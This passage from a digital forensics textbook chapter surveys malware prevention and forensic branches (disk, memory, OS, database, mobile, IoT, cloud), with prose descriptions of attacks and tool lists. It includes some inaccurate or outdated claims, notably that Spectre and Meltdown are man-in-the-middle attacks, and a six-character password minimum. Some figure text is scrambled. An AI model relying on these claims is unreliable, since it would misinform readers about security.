patches. Not only the operating system, it is necessary to 
updates software which are installed in the system, browser 
and also the plugins. 

• Enable plugins: Plugin help to prevent malvertising attack. 
Plugins automatically block the advertising malwares.

• Users must be careful while clicking on email. They should 
verify whether an email is fake. User should avoid any links 
or messages which is asking for credentials like credit card 
details, PIN number, passwords, etc.
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• Use of Antivirus: Antivirus blocks malwares on the basis 
of their signatures. So, it prevents a system from a malware 
attack. Antivirus should also be updated regularly.

• Use of strong password: Passwords must be a minimum of 
six characters and must be alphanumeric. The user should 
avoid using the same password for different logins; espe-
cially in the case of online banking, a user must keep pass-
word separate. 

• Avoiding fake phone calls which ask for more credentials 
over the phone.

• Continuous monitoring and scanning all emails and user 
accounts can help to prevent malware attacks.

• Generating awareness among the users regarding malware 
attacks.

Techniques of malware forensics:
• Collection and Analysis of Volatile Data: Volatile data may 

contain the evidences of malware attacks. The user logs can 
give us information about the users who logged in with time 
stamp. Volatile information is also collected from the RAM 
dumps where any process which is under execution can be 
detected.

• Collection of Non-Volatile data: Data hard disk forensics. 
The evidences are collected from registry settings and event 
logs and history of web browsers.

• Recovering of all deleted files. 
• Static malware analysis: In this type of analysis the malicious 

code is disassembled to find hidden action or instruction 
inside the code. Disassembler like IDA, Ghidra are used to 
disassembled the code. This method follows signature-based 
approach to detect malwares.

• Dynamic malware analysis: This form of analysis is used to 
detect the behaviour of the malware by executing the code in 
a sandbox environment. The sandbox environment prevents 
the malware from infecting the whole system. A dynamic 
approach is used to detect a malware having a new pattern 
or signature.

• Hybrid approach: It is a combination of Static and dynamic 
approach. This method is used to analyse the malwares 
better.
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Tool used:
 ➢ Pestudio
 ➢ PE Viewer
 ➢ IDA
 ➢ Ghidra
 ➢ GDB
 ➢ Hex editor
 ➢ Cuckoo sandbox

7.3.2 Computer Forensics

Most of the cyber-crime was carried out through computer or laptop. In 
a cyber-crime a computer is used as a weapon or a computer may be tar-
geted as a point of attack. So, a computer is a main source of evidences in 
Digital Forensics. Computer Forensics is considered as one of the branches 
of Digital Forensics. The main aim of Computer Forensics is to investigate 
digital media thoroughly following the phases of Digital Forensics, which are 
identification, preservation, collection, examination, analysis, presentations.

Branches of Computer Forensics:

a.  Disk Forensics: Disk forensics is the method of extracting evidences 
from digital storage media like Hard disk, USB devices, Firewall devices, 
CD, DVD, Flash drives, IDE/SATA/SCSI interfaces, Mobiles, PDAs, 
SIM, Magnetic tapes, Zip drives, etc. 

Attacks on HDD:
DoS attack using Acoustic signal: In this attack the malicious actors try to 
create an acoustic signal close to the victim PC which causes a vibration in 
the disk drives. Due to the vibration the disk may get damaged. The acous-
tic signal is sent by the attacker through a phishing email or webpage or 
embedded in a widespread multimedia like Television. The acoustic signal 
range is below the human hearing range.

Malwares: Malwares can damage a hard disk drive (HDD). Specially, 
the boot sector virus can cause the most damage in a hard disk. These mal-
wares infect the part of the hard drive that contains the operating system 
information and files allocation tables information.

Disk Filtration attacks: This type of attack also involves malwares which 
get involved on the computer and collect information.

Physical Attacks: It involves physical failures, a crashed file system, and 
mechanical failures in the hard disk.
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Prevention of attacks on HDD:
• Disk encryption: Full disk encryption means converting the 

data in plain text into cipher text. AES algorithm is mostly 
used to encrypt the data because it provides high security.

• Antivirus: Use of antivirus can detect the malwares in the 
system. 

Steps used in Disk Forensics:
• The storage devices are identified from the crime scene.
• The storage devices are where seizure and data acquisi-

tion processes are performed. In this step the hash value 
of the seized devices is generated at the crime scene. After 
generating hash value, the storage device is sealed and a 
data acquisition process is performed. In data acquisi-
tion a duplicate copy of the original evidences is created 
keeping the original copy in write-protected mode. In 
data duplication bit by bit copying is done in the forensic 
laboratory.

• After data duplication the authentication of the duplicated 
evidences is verified by comparing the hash value of the 
duplicated evidences with original evidences.

• The original evidences are kept safe so they are not tampered 
with. Further processing is carried out with the multiple 
copies duplicated evidences.

• Evidences are analysed by proper examination like searching 
of keywords, analysing the pictures, time-line, registry, mail-
box, temporary files, etc. This process also involves recovery 
of deleted files, data carving and analysis, format recovery 
and analysis, etc.

• Case analysis report is prepared based on the analysis and 
presented in front of court along with all the evidences and 
documents which is maintained from the beginning [3].

Tools used:
 ➢ SANS SIFT
 ➢ Autopsy
 ➢ Forensic Tool Kit
 ➢ EnCase
 ➢ CAINE
 ➢ ProDiscover Forensics
 ➢ WinHex
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b.  Memory Forensics: Memory Forensics is the investigation of computer 
memory dump. Mainly RAM is analysed in memory forensics. Memory 
forensics can provide details of any open network connections, recently 
executed commands and processes, running processes, injected code 
fragments, internet history, any malicious code that is loaded in mem-
ory for execution, credentials, encryption keys, etc. Memory Forensics is 
also called as Live Forensics.

Attacks on Memory:
Cold Boot Attack: In a cold boot attack the attacker gains unauthorised 
access to a victim’s system and collects the memory dump to collect the 
encryption keys. Actually, a forensic expert is used to find the encryption 
keys. But the attacker misuses this technique.

Direct Memory Access (DMA) Malware: DMA Malware exploits the 
DMA and gathers information. It hides itself from the host also. It attacks 
kernel and collects information.

Rowhammer Attack: This attack enables an attacker to keep an eye on a 
row of a transistor in a memory chip for an executing process. The attacker 
hammers on that particular row several times until it leaks some electricity. 
Leaking some electricity means the bits in that row flip. So, integrity goal 
is broken.

RAM Bleed Attack: A RAM bleed attack is a modification of a 
Rowhammer attack. Here along with integrity, confidentiality is also 
breached. Attacker also steals information in this attack.

Prevention on RAM attacks:
• Prevention of Physical access: Blocking the attacker from 

getting physical access to memory. 
• Boot verification approaches can prevent a cyber-criminal 

from taking memory dump.
• Full memory encryption: In this technique the full RAM 

data is encrypted so that the attackers cannot access easily 
the encryption keys or credential in plain text.

• Erasure of memory securely: In this technique the memory 
confidential data or credential are erased securely which are 
no longer in use.

Steps involved in Memory Forensics [4]:
• Identification of the computer, laptop or mobile devices 

from the crime scene. 
• Maintaining a log which will record all events on a running 

machine.
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• Photography of the monitor screen of running system is 
done to document its state.

• Detecting the operating system running on the victim’s 
machine.

• The date and time of the machine are recorded with the cur-
rent actual time.

• Memory Dump of RAM is collected.
• Collection of other volatile data is performed.
• Original copy is preserved safely and further processing is 

carried out with duplicate copies.
• Analysis of Memory dump is conducted to collect several 

evidences like uptime, date, time, and command history 
for the security incident, rogue process identification, DLL 
processes, network artifact, code injection, signs of rootkits, 
extract processes, drivers, etc. 

• Analysis report is generated with proper documentation and 
evidences.

Tools used:
 ➢ MAGNET RAM 
 ➢ MDD
 ➢ Process Hacker
 ➢ FTK 
 ➢ Mac Memory Reader
 ➢ Goldfish
 ➢ Linux Memory Extractor
 ➢ Linux Memory Grabber
 ➢ Volatility Framework

c.  Operating System Forensics: In this type of forensics, crucial evidences 
are collected from the Operating System of a computer or mobile devices. 
This process also involves data and file recovery techniques, data carving, 
slack space analysis, extraction of hidden data, file system analysis, etc.

Attacks on Operating system:
Bugs: Bugs are the flaws or errors in a software. These bugs are gener-
ated for many reasons like a mistake in program’s design, software is not 
updated, etc. It causes unexpected results when these software are exe-
cuted. Sometimes it may cause the program to crash or freeze the operat-
ing system. Malicious actors take this opportunity to attack the operating 
system.
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Buffer overflow: Buffer overflow attack occurs when volume of the data 
cross the allocated buffer size. The attacker gives input whose size is more 
than the allocated buffer size to a program. As a result, input exceeds the 
boundary of the buffer and overwrites the code of the program. An attacker 
can gain access to the victim’s system through this attack. 

Unpatched Operating system: Unpatched operating system means the 
operating systems have security vulnerabilities. Patch is a code which is 
released by the software vendor periodically to overcome these vulnerabil-
ities. But an unpatched operating system is not updated and has vulnera-
bilities that can be misused by cyber- criminals.

Attack on authenticated system: User has some authentication mech-
anism to secure the system. There are several ways of authentication like 
passwords, PIN number, tokens, biometric. Weakness in these authentica-
tion mechanisms can lead to an attack.

Cracking Passwords: Cracking of passwords means guessing the pass-
word using some techniques. Weak passwords can be easily cracked. 
Several tools and techniques are available which help an attacker to crack 
passwords. 

Breaking Filesystem security: Attacker targets the file system of oper-
ating  system. Several attacks are there in the operating system like race 
condition attack, using ADS to hide files, directory traversals. Race around 
condition happens when an attacker changes some features of the file 
between two operations which modifies the file. A cyber-criminal uses 
Alternate Data Stream techniques in which malicious payloads are stored 
as ADS with the legitimate file. Due to vulnerabilities in the operating 
system attackers try to access the administrative files through directories 
traversals.

Prevention of Operating System Attack:
• Operating system must be updated periodically.
• Use of pirated, unpatched or outdated software should be 

avoided.
• Strong authentication mechanisms should be used to secure 

the system.
• Strong passwords should be used. A strong password should 

contain alphanumeric characters and the length of the pass-
word should also be sufficient, like a minimum 6 characters. 
Password should be changed regularly.

• Proper access control mechanisms should be used. Superusers 
or administrations should maintain Access Control Lists 
(ACL) which allow access to a file based on the user’s rights. 
Only a few should have the rights to modify ACL.
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• File system encryption mechanism can be used to secure the 
file systems.

Steps for Operating System Forensics:
• Identification of the Operating System from the computer, 

laptop or mobile devices at the crime scene.
• Like disk forensics, the data duplication is conducted and 

the original copy is preserved safe.
• Analysis is done on the duplicated copies. Deleted files are 

recovered and analysed, analysis is made of swap and page 
files, spool files, slack space, hidden data and also file system 
analysis.

• Reports are generated similar to the disk forensics.

Tools used:
 ➢ FTK Imager
 ➢ Sluethkit or Autopsy
 ➢ EnCase
 ➢ Paladin

7.3.3 Data Forensics

Database forensics involves the study and investigation of databases and 
their metadata. Investigation of Database Forensic is performed with 
the identification, collection, preservation, reconstruction, analysis, and 
reporting of database incidents. A database has heterogeneous, structured/
unstructured, complex, and ambiguous fields. Due to the complex and 
multidimensional nature of database systems it is difficult to retrieve data 
from damaged storage media. Database forensics process consider some 
facts, such as how to gain access to the system, is a system live or shut-
down, integrity of data, images captured, encrypted data, goal of acquisi-
tion. Database forensics acquires files, internal structure, logical structure 
(index). 

Digital forensics is a branch of Forensic Data Analysis (FDA). It analyses 
structured data with respect to financial crime events. The aim is to find 
and examine trends of fraudulent behaviours. Structured data is referred 
to as data from an information system or from their involvement with the 
study.

Unstructured data (or unstructured data) is knowledge that either 
does not have a data base management system or is not pre-definitely 
organised. Usually, unstructured information is text-heavy, but could 
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also include data such as dates, numbers, and statistics. In comparison, 
unstructured data is taken from communication applications and office 
applications or from mobile devices. There is no overall approach for 
this knowledge and study of it implies applying keywords or mapping 
social interactions. Software forensics is commonly defined as the study 
of unstructured data.

Forensics data analysis (FDA) process takes at least three types of exper-
tise in the team to analyse large structured data sets with the purpose of 
detecting financial crime: a data analyst to perform the technical steps and 
write the queries, a member of the team with significant experience of the 
processes and risk management in the relevant area of the investigated 
company and a forensic scientist familiar with the style of speaking [5].

Security Threats of database system:
Every person generates approximately 1.7 MB of data per second. As 

usage of social media and online platforms increases tremendously, the 
value of data gradually increases. Now the concern of security of informa-
tion or our private data is important and requires a lot of attention. Data is 
breached by several threats such as malicious code, bypassing conventional 
security, natural and technical disaster, etc., as shown in Figure 7.3.

• Misuse of given privilege

• Inferencing database system
• Unpatch software vulnerability
• Attacker take a control over database
• Unauthorised or unethical data access on-behalf of administrator

• Breach confidentiality, integrity, availablity of data security
• Use to perform SQLinjection
• Use trojan to take a control over specific database

• Server crash due to natural diaster and lost entire data
• Due to excess temperature, dust server and terminal are halt or
  crash
• Bufferover flow attack
• Misconfiguration of software or applications

• lack of security policy leads to many security attacks
• Internal stakeholder unintetionally leads to attack
• Weak authentication leads to ransomeware attack

• Social Engineering attack
• Brute Forcing
• Shoulder sur�ng
• Direct authentication privelege access

Bypass Conventional
Security

Malicious code

Technical and Natural
diaster

Weak Audit Policy

People

Figure 7.3 Security threats of database system.
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Prevention of attacks on database system:
Database security is very important because attackers or criminals are 

always attracted to sensitive data such as banking details and private infor-
mation for purposes of blackmailing or money laundering, etc.

Following database security preventive measures plays an important 
role in securing valuable data:

• Proper physical database system security: Many times 
attackers try to attack on a DMZ server and steal all the end 
user’s information. Access Control policy has to be properly 
defined.

• Use web application firewall: To prevent SQL injection 
attack, web application firewall play a vital role.

• Autopatch vulnerabilities of Database application software: 
Software are periodically updated and perform vulnerability 
assessment to avoid zero-day attacks.

• Data Encryption: This is a crucial but important measure 
because it continues backup and data encryption prevents 
ransomware-like attack.

• Avoid or minimize data sharing on public mode: Attackers 
are more interested in trash. They try to track sensitive data 
from publicly available information. So minimize value of 
information or data on web.

• Strong Access Control policy: Set proper password con-
straints policy, object or data access policy.

• Proper Auditing: Periodically proper assessment and audit-
ing of database application software is required.

• Avoid pirated database software: Pirated software have lots 
of vulnerabilities which lead to many security attacks.

Forensics process of Database system: The following Figure 7.4 shows 
forensic process of database systems [6, 7].

Tools for database security:
 ➢ Encrypted database system
 ➢ Oracle Database Firewall
 ➢ IBM Guardium
 ➢ Gemalto SafeNet ProtectDB

7.3.4 Mobile Forensics

Nowadays everyone depends on mobile phone not only for calling but also 
for exchanging data in the form of text, audio, video, images; that is the 
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reason mobile phone are loaded with huge information that might be con-
sidered as evidence for investigation of any crime or cyber-attack. Mobile 
forensics is a sub-category of digital forensics that collects the evidence 
and investigates it. Other facilities of cell phones are very useful for foren-
sics investigation such as internet usage, email, camera mode, live access 
of documents, location tracking with GPS, calendar events. These devices 
are keeping track of our every movement. Due to this data generation 
has tremendously increased and this is an important source of evidence 
for forensic investigation related to cyber-crime, civil cases. As per study 
there is rare case of investigation that does not include cell phone. Mobile 
forensics is extremely difficult because data acquisition and examination 
vary according to mobile operating system (iOS, Blackberry, Android, 
Microsoft, etc.). One of the greatest forensic problems when it comes to 
the mobile platform is the fact that data can be accessed, processed, and 
synchronized through several devices. Data can be easily removed during 
evidence transfer from incident place to forensic lab [8].

The mobile forensics investigation process follows steps [9-1]:
Seizure: During seizing mobile device as evidence, investigator has 

some difficulty to prevent any kind of network connectivity with the 

Preparation Collection Analysis
• Suspended DB operation
• Veri�cation of DB
• System Discription
• Table replationship search data
  and join process
• Data acquisition with seizure
  and search warrant
• Server Detection
• Setup for Evidence collection
• Identify proper acquisition
  metod
• Prepare �le system
  architecture visualisation

• Assemble metadata, data and
  attacker/victim data from data
  server
• Volatile data from hacked data
  Server
• Non-volatile data from Oracle
  server such as log �le,data
  cache, transaction log, etc.
• Attached �les such as emails,
  multimedia, relational
  tables, etc.
• Extraction of metadata
• Collect physical and digital
  data.

• Restore database consistency
• Recover deleted data from
  user access
• Authentication and
  Authorisation of data
• Con�guration and version
  control of data
• Banking and business data
  analysis
• Recreation of deleted or
  tempered data
• Find the answer of how, when
  and where the attack happened
• Identify alteration of data and
  who is resposible for this
• Identify after alteration of data
  which depended �les are get
  a�ected

Figure 7.4 Forensic process of database systems.
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mobile phone. So the forensic investigator always keeps the mobile device 
in a faraday bag to isolate it from another network. If the mobile device 
is in power on mode then before switching it off the investigator tries to 
find the PIN or Password or any lock pattern or biometric authentication 
scheme which will be helpful to again switch on the device. This is very 
critical because a criminal always try to delete data from a device through 
remote access. The criminal may be using Bluetooth, Wi-Fi connectiv-
ity, or hotspot for execution of remote access command. Investigator may 
keep the device in flight enabling mode or inactive all network connectiv-
ity while seizing.

Extraction: Mobile forensic toolkit such as Oxygen mobile forensics 
extractor, Cellebrite UFED, etc., is used for extraction of data from Mobile 
device.

Examination/analysis: Mobile devices are dynamic systems; it is com-
posed of different operating system, hardware configurations, models, 
manufactures, versions. Due to this it has created difficulty in the inves-
tigation process. Therefore, a trained forensic investigator requires special 
tools to examine it.

Mobile forensic challenges:
Forensic investigators and law enforcement officers always faced the fol-

lowing challenges during acquisition of mobile devices:
Operating System: Forensics methods and process model of mobile 

devices varies according to operating system such as Android, iOS, 
BlackBerry, WebOS, BadaOS, Symbian, MeeGo, Windows PhoneOS, 
Maemo, Palm OS, Sailfish, Ubuntu Touch, Tizen, FireOS, Yun, Nokia Asha 
Platform and Lune.

• Recourses availability: With advanced up gradation of tech-
nology, the forensic investigator requires a more advanced 
acquisition toolkit to examine a mobile device. Also, acqui-
sition involves supportive gadgets such as a charger, battery 
and SD card, USB cable.

• Dynamic system: Evidence from mobile device may be eas-
ily modified intentionally or unintentionally. For example, 
browsing the internet on a mobile might alter the data stored 
on the browser history.

• Mobile Security: Mobile OS provide in-built security creden-
tials to protect the user’s privacy and information. Security 
credentials create difficulty in the investigation process. The 
investigator always needs extra efforts to retrieve data from 
a mobile. Sometimes a vendor didn’t give credentials to pen-
etrate this security policies or features. 
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• Communication preventing: Smartphones connect over 
wireless network, Wi-Fi connectivity, Bluetooth, and 
Infrared connectivity. As mobile phone connectivity could 
change the device data, the probability of further connection 
should be avoided after seizing the device. 

• Malicious code: There may be malicious or harmful code on 
the device, such as a virus or a Trojan. That malware code 
can try to infect through wired and wireless connectivity 
[12].

Mobile device evidence proof extraction process:
The retrieval of evidence and forensic analysis of each mobile device 

can vary. However, the forensic analyst will encourage assuring that the 
proof retrieved from each handset is well recorded and that the findings 
are repeatable and defensible after a consistent analysis process. For mobile 
forensics, there is no well-established standard procedure. The following 
Figure 7.5, however, offers an outline of method considerations for mobile 
device proof extraction.

• Evidence acquisition is the starting step to collect the device 
from the incident place and generate hash for further verifi-
cation. Also prepare a document like time, date, device con-
dition (tampered or not) and other details.

Evidence
Acquisition

Ensure
accuracy of
data using
Hash value 

Make model
and identify

infromation of
device

Isolated
Analysis

Veri�cation

Documentation
and Report

writing

Presentation in
Court of Law

Archive
process

Check
originality

Acquire/
remove
external
storage

Identi�ctaion
of device

Legel
Authority

Physical
evidence i.e
�ngerprints

Proper tool
selection

Decide Goal of 
Examination

Figure 7.5 Mobile device evidence proof extraction process.
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• Identify the device details such as OS, manufacturer, version 
etc.

• Investigator always verifies the legal authority present during 
acquisition of device. 

• Decide the goals of the examination to achieve good and 
accurate result. Also prevent alteration of evidence data. 

• Analyse the model, version and other device information for 
further processing.

• Find other removable and external storage media connected 
with evidence device like USB, SD cards, etc.

• Take figureprint or other biological evidence from mobile 
device. Probably a mobile device provides better physical 
evidence so investigator always handles it carefully with 
hand gloves to avoid tampering with the evidence. 

• Prepare a document to identify appropriate tool for analysis 
and examination of evidence device.

• Mobile phones are designed to connect through cellular net-
works, Bluetooth, Infrared, and Wireless Fidelity (Wi-Fi) 
networks. Fresh data is applied to the phone while the phone 
is attached to a network, by in-out calls, texts, device infor-
mation, which modify the evidence on the phone. Via net-
work access or remote wiping orders, complete loss of data 
is also possible. For this purpose, it is necessary to isolate the 
system from interaction sources.

• The alternative approach is physical acquisition, since it col-
lects the raw cache data. During physical acquisition, try to 
avoid maximum alterations of device on other applications. 
More effort should be made to obtain the file system of the 
mobile device if physical acquisition is not appropriate or 
fails. A logical acquisition can still be done when parsed data 
is used, and indexing to examine the raw memory should be 
provided.

• Check the originality of extracted data.
• Ensure accuracy of data received from mobile device using 

hash values which are generated during acquisition and after 
examining data.

• Prepare documents and report with detailed information 
such as mobile condition, start/end time and date of exam-
ination, device working status ON/OFF, acquisition and 
examination tools, data retrieved from device, reviews of the 
investigator, etc.
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• Present documents and report to the law court in an effective 
manner. The results should be straightforward, descriptive, 
and verifiable. Timeline and connection analysis can help in 
documenting and describing results through various mobile 
devices, capabilities provided by several commercial mobile 
forensics tools. These instruments allow the investigator to 
connect the methods behind the contact of several devices 
together.

• Archive the extracted data and entire process for further 
court process.

Tools used:
 ➢ Elcomsoft Mobile Forensic Bundle
 ➢ Oxygen Forensic Detective
 ➢ MOBILEdit Forensic Express
 ➢ MD-LIVE
 ➢ MD-BOX (Mobile forensic hardware for extracting data 

directly from the board using JTAG interface)

7.3.5 Big Data Forensics

When Big Data is concerned, the improvements to data sizes and the intro-
duction of Big Data applications have enhanced the specifications of foren-
sics. For the processing of evidence, conventional forensics depends on 
time-consuming and interruptive procedures. Removing hard drives from 
computers carrying source evidence, computing MD5/SHA-1 checksums, 
and executing physical collections that gather all metadata are strategies 
fundamental to conventional forensics.

One purpose of any kind of forensic investigation is to obtain relevant 
information in a justified way. In a criminal investigation, the evidence is 
the data preserved in the device. This data can be file contents, metadata, 
deleted files, in-memory data, and slack space on the hard drive, among 
other types. Forensic methods are designed to collect any form of data such 
as intentionally deleted information, different types of file system, struc-
tured and unstructured data, metadata, etc.

Steps of Big data forensics [13]:
Big Data forensics follows the same steps as other digital forensics category 
(identification, Acquisition, analysis, and presentation of data). Measure 
challenge of investigation of Big Data systems, the aim is to gather or 
acquire data from distributed file systems, large-scale datasets, and similar 
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applications. There are certain parallels between conventional forensics and 
forensics from Big Data, but it is important to consider the distinctions.

Metadata Preservation: Metadata is any file, data container, or device 
data information that defines its attributes. When concerns emerge about 
how the file was created, changed, or removed, metadata contains informa-
tion about the file that can be useful. Metadata may explain who updated 
a file, when a file was changed, and which data was created by a device or 
programme. These are critical facts when attempting to understand the 
history of a single file.

For a Big Data investigation, metadata is not always crucial. When data 
flows into and through a Big Data system, metadata is always altered or 
lost. Without retaining the metadata, the ingestion engines and data feeds 
gather the data. Therefore, the metadata does not include details on who 
generated the data, when the data was last updated at the source of the 
upstream data, and so on. In these cases, collecting information cannot 
serve a function.

Big Data system investigations will rely on the information in the data 
and not the metadata. Metadata does not serve a function, like structured 
data structures, when an inquiry is focused solely on the quality of the data. 
The data itself will address quantitative and qualitative questions; metadata 
would not be useful in that case as long as the collection was carried out 
correctly and there are no concerns about who imported and/or modified 
the data in the Big Data system.

Collection methods: Systems may be taken offline in conventional 
forensics, and a compilation is done by removing the hard drive to produce 
a forensic copy of the data. Hundreds or thousands of storage hard drives 
can be used in Big Data inquiries, and data is lost when the big data device 
is taken offline.

Collection verification: In order to verify the integrity of the collected 
data, conventional forensics relies on MD5 and SHA-1, but it is not always 
feasible to use hashing algorithms to verify large data collections. Both 
MD5 and SHA-1 are intense with disk-access. A significant percentage of 
the time devoted to gathering and checking source proof is involved in 
verifying collections by computing an MD5 or SHA-1 hash. It might not 
be practical to spend time measuring the MD5 and SHA-1 for a Big Data 
array.

7.3.6 IOT Forensics

IoT Forensics is an emerging field of Digital Forensics. In the mod-
ern technology everybody is using smart IoT devices. Lots of data are 
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generated due to the use of smart devices. IoT devices are less secured 
compared to a laptop or desktop. So, these devices are easily targeted by 
cyber- criminals. The forensic expert follows the phases of digital foren-
sics in the same manner while investigating IoT devices. In IoT forensics 
experts collect evidences from IoT devices, sensors. Experts also collect 
evidences from cloud [14]. 

Attacks on IoT: 
• Encryption Attack: The data of IoT devices are in plain text 

form. The attacker can easily read all the data in the commu-
nication channel.

• DoS Attack: IoT devices are easily targeted for DoS attack. 
Hackers hacks these IoT devices easily because of their less 
security and create bots. So, these infected devices act like 
zombies, controlled by the attacker, and are used for DoS or 
DDoS attack. 

• Man-in-the-middle attack: An attacker sits in the middle of 
the communication channel between two devices. He can 
read the data sent by one device, modifies it and forwards it 
to the other device.

• Ransomware attack: Attacker hacks an IoT system and 
encrypts all the data. They demand ransom from users 
against that data.

• Brute Force Attack: Most of the IoT devices have either a 
default password or a weak password and are susceptible to 
brute force attack. An attacker easily cracks the password 
and exploits the system [15].

IoT device Securities:
• Keeping all IoT devices updated: Users should periodi-

cally update all IoT devices. They should install the security 
patches released by vendors. This prevents cyber-attacks on 
IoT devices.

• Use of firewall or IDS: Firewall and IDS can detect any 
malicious activities and can also prevent them. So, it is 
a good practice to use place a firewall or IDS before IoT 
devices.

• Change of Weak and Default passwords: Most of the IoT 
devices have a weak or default password. So, these are 
easily targeted. Users should not use default passwords. 
Instead of that they should use strong alphanumeric 
passwords.
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• Avoid buying IoT devices with weak security features: Before 
buying any IoT devices it is better to search for reviews about 
the IoT device security. User should avoid purchasing IoT 
devices having less security features.

Steps of IoT forensics: IoT forensic is done in the following way. 
• Device Forensics: Digital Evidences are collected from IoT 

devices. The memory dump is taken from these devices.
• Network Forensics: Evidences are collected from firewall 

and IDS logs. These logs play a vital role in the investigation.
• Cloud forensics: Most of the evidences are collected from 

Cloud. As IoT systems have small storage, all the commu-
nications take place with Cloud. So, Cloud forensics play an 
important role in IoT forensics [15].

7.3.7 Cloud Forensics

Cloud forensics is the application of digital forensics as a subset of network 
forensics in virtualization to collect and preserve evidence in a manner that 
is acceptable for presentation in a court of law. Cloud forensics is another 
big challenge against traditional forensics techniques. Cloud computing 
categories are PaaS (OS and Applications, Stack server, Storage media, 
Network), IaaS (Server, Storage Media, Network) and SaaS (Packaged 
Software, OS and Applications, Stack server, Storage Media, Network). 
According to category resource utilization is changed and with respect 
to this forensic investigation requires an advanced toolkit to handle the 
examination of evidence. There are lots of challenges to store and maintain 
confidentiality of the evidence from data alteration and deletion. In PaaS 
and SaaS service models, as customers do not have control over the hard-
ware, consumers always rely on cloud service providers to access the logs. 
These logs are very important to examine the incident for presenting to the 
court of law.

Attacks on Cloud:
• Malware attack: Hackers upload an infected service in SaaS 

or PaaS type cloud to infect the cloud. They also try to 
upload malicious virtual machine instance in IaaS type of 
cloud. These malwares gain control over the cloud and steal 
confidential information from cloud. 

• Denial-of-Service attack: Hackers give in rent less secured 
server to cloud providers. These servers are used by the 
attackers to perform a DoS attack. As a result, many 
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authorised users are not able to access cloud services. 
DDoS attacks are also performed by cyber-criminals, 
in which attackers target less secured devices in a cloud 
platform.

• Side Channel attack: In this type of attack, a malicious 
actor tries to gain information like shared hardware caches, 
electromagnetic emission, and sound emitted from a cryp-
tographic device.

• Wrapping attack: It is a Man-in-the-middle type of attack. 
Attackers intercept between the cloud users and services. 
They steal all the data transferred between the users and 
cloud services through web browsers.

• Man-in-the-cloud: Here also the attacker intercepts between 
the cloud users and services and changes the configuration 
of cloud services such that when the next synchronization 
occurs a new token will be generated and that will be acces-
sible to the attacker.

• Insider attack: An authorised user in a cloud platform vio-
lates the security policies and tries to gain access to some 
unauthorised data.

• Account/Service Hijacking: After stealing a user’s creden-
tials an attacker can misuse those credentials to gain access 
to the user’s account. They also can use the cloud services 
illegally.

• Spectre and Meltdown attack: It is an advanced level Man-
in-the-middle attack. In this attack an attacker intercepts 
between user and cloud services and tries to decrypt the 
encrypted data from memory using malicious JavaScript 
code. 

Prevention against cybercrime on Cloud:
• Strong Security Policies to be implemented to restrict the 

scope of access. Users should be made aware of the security 
policies.

• Multi-factor authentication system should be used for 
authentication.

• Strong encryption algorithms to be used to secure data in 
all stages. This means the data to be secured while storing 
in cloud as well as while transferring from user to cloud or 
vice versa.
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• Periodically backup of data stored in cloud should be taken, 
such that if some damage happens that can be recovered 
from backup.

• Use of Intrusion Detection System (IDS) helps to detect 
intruders in cloud.

• Cloud developers must allow the users to connect through 
strong APIs. VPNs can also be used for secure communica-
tion through cloud.

• Accessing of cloud services should be restricted only to 
authorised users. A strong security mechanism will help the 
cloud providers to block access of cloud services to unau-
thorised users. 

In a cloud environment, managing a custody chain is very complex rel-
ative to a conventional forensics’ environment. The internal security team 
has power of who performs forensics operations on a server in conven-
tional forensics settings, but in cloud forensics, the security team has no 
control over who wishes to obtain information from the Cloud service pro-
vider. The chain of custody cannot be kept in a court of law if they are not 
qualified according to a forensic norm [16].

Cloud forensics procedure as shown in Figure 7.6 [17]:
• Identification

• Identify the violations or potentially illegal activity affect-
ing IT-based processes that have taken place.

• It involves an individual complaint, IDS discovered 
anomalies, inspection and profiling due to an audit 
trail, suspicious cloud incidents may rely on the imple-
mentation of the application model (i.e., Private, Public, 
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Figure 7.6 Workflow of cloud forensic process.

PROOF



160 Cyber Security and Digital Forensics

Community and Hybrid), the type of cloud services 
used (i.e., SaaS, PaaS and IaaS), and the geographic area 
decided for deployment.

• Preservation and Collection
• According to ethical and forensic requirements, evidence 

is gathered in the source without harming its credibility. 
• Preserve all the proof and documentation for further 

investigation without diminishing its credibility. 
• There may be a risk that an incredibly large amount of 

data storage would be needed for data processing.
• The investigator must then discuss data security and pri-

vacy laws and regulations and their effect on the evidence 
stored in the cloud. 

• When collecting data from the vendor side of the cloud, 
do remember the data of the other customer or entity. 
For further analysis, an accurate representation of the 
cloud service data must be collected. 

• By serving a legal notice to the cloud service provider, 
an investigator may aim to maintain data residing in the 
cloud [18].

• Detection: Identify abnormal activity or malicious code by 
using several methods and algorithms (i.e., filtering, pattern 
matching).

• Analysis
• Investigate the data and crime by using certain forensic 

tools.
• The legal authority can ask the company or an entity a 

question in order to find any factual information. 

Challenges in cloud forensics [19]
 ➢ Presentation at the court of law 
 ➢ Verification of external or client-side dependencies over 

cloud provider
 ➢ Cloud service provider uses different approach to cloud 

computing
 ➢ Lack of collaboration between different nation and service 

provider
 ➢ No proper laws and rules to process cloud forensics
 ➢ Lacking of forensics expertise and technological support
 ➢ Difficult to isolate any particular end user from cloud services.
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 Tools Used:
 ➢ Encase Enterprise
 ➢ Access Data FTK
 ➢ FORST
 ➢ UFED cloud analyzer
 ➢ Docker Forensic Toolkit & Docker Explorer
 ➢ Diffy (by Netflix)

7.4 Conclusion

In Digital Forensics modern technologies are used to investigate a cyber-
crime. With the rise of cyber-crime, the Digital Forensics field plays a cru-
cial role in this technological world. Forensic experts are also using new 
tools and techniques for identification of crime, collection of evidences, 
analysis of evidences. More bifurcation is carried out in the digital foren-
sics in the modern technological world. Thus this chapter emphasizes an 
overview of digital forensics, its branches, tools and techniques used for 
various digital investigations.

References

 1. A. Varol and Y. Ü. Sönmez, “The importance of web activities for computer 
forensics,” International Conference on Computer Science and Engineering 
(UBMK), Antalya, pp. 66-71, 2017. 

 2. Anita Patil, Swapnil Shinde and Soumi Banerjee, “Stuxnet-Tool For Zero-
Day Attack”, in Handbook of Research on Cyber Crime and Information 
Privacy, IGI, pp. 652- 675, 2020. 

 3. T. Prem, V. P. Selwin and A. K. Mohan, “Disk memory forensics: Analysis 
of memory forensics frameworks flow,” Innovations in Power and Advanced 
Computing Technologies (i-PACT), Vellore, pp. 1-7, 2017. 

 4. A. Chetry and U. Sharma, “Memory Forensics Analysis for Investigation of 
Online Crime - A Review,” 2019 6th International Conference on Computing 
for Sustainable Global Development, New Delhi, India, pp. 40-45, 2017. 

 5. Mario A. M. Guimaraes, Richard Austin, and Huwida Said., Database foren-
sics, Information Security Curriculum Development Conference (InfoSecCD 
‘10), Association for Computing Machinery, New York, USA, pp. 62–65, 
2010. 

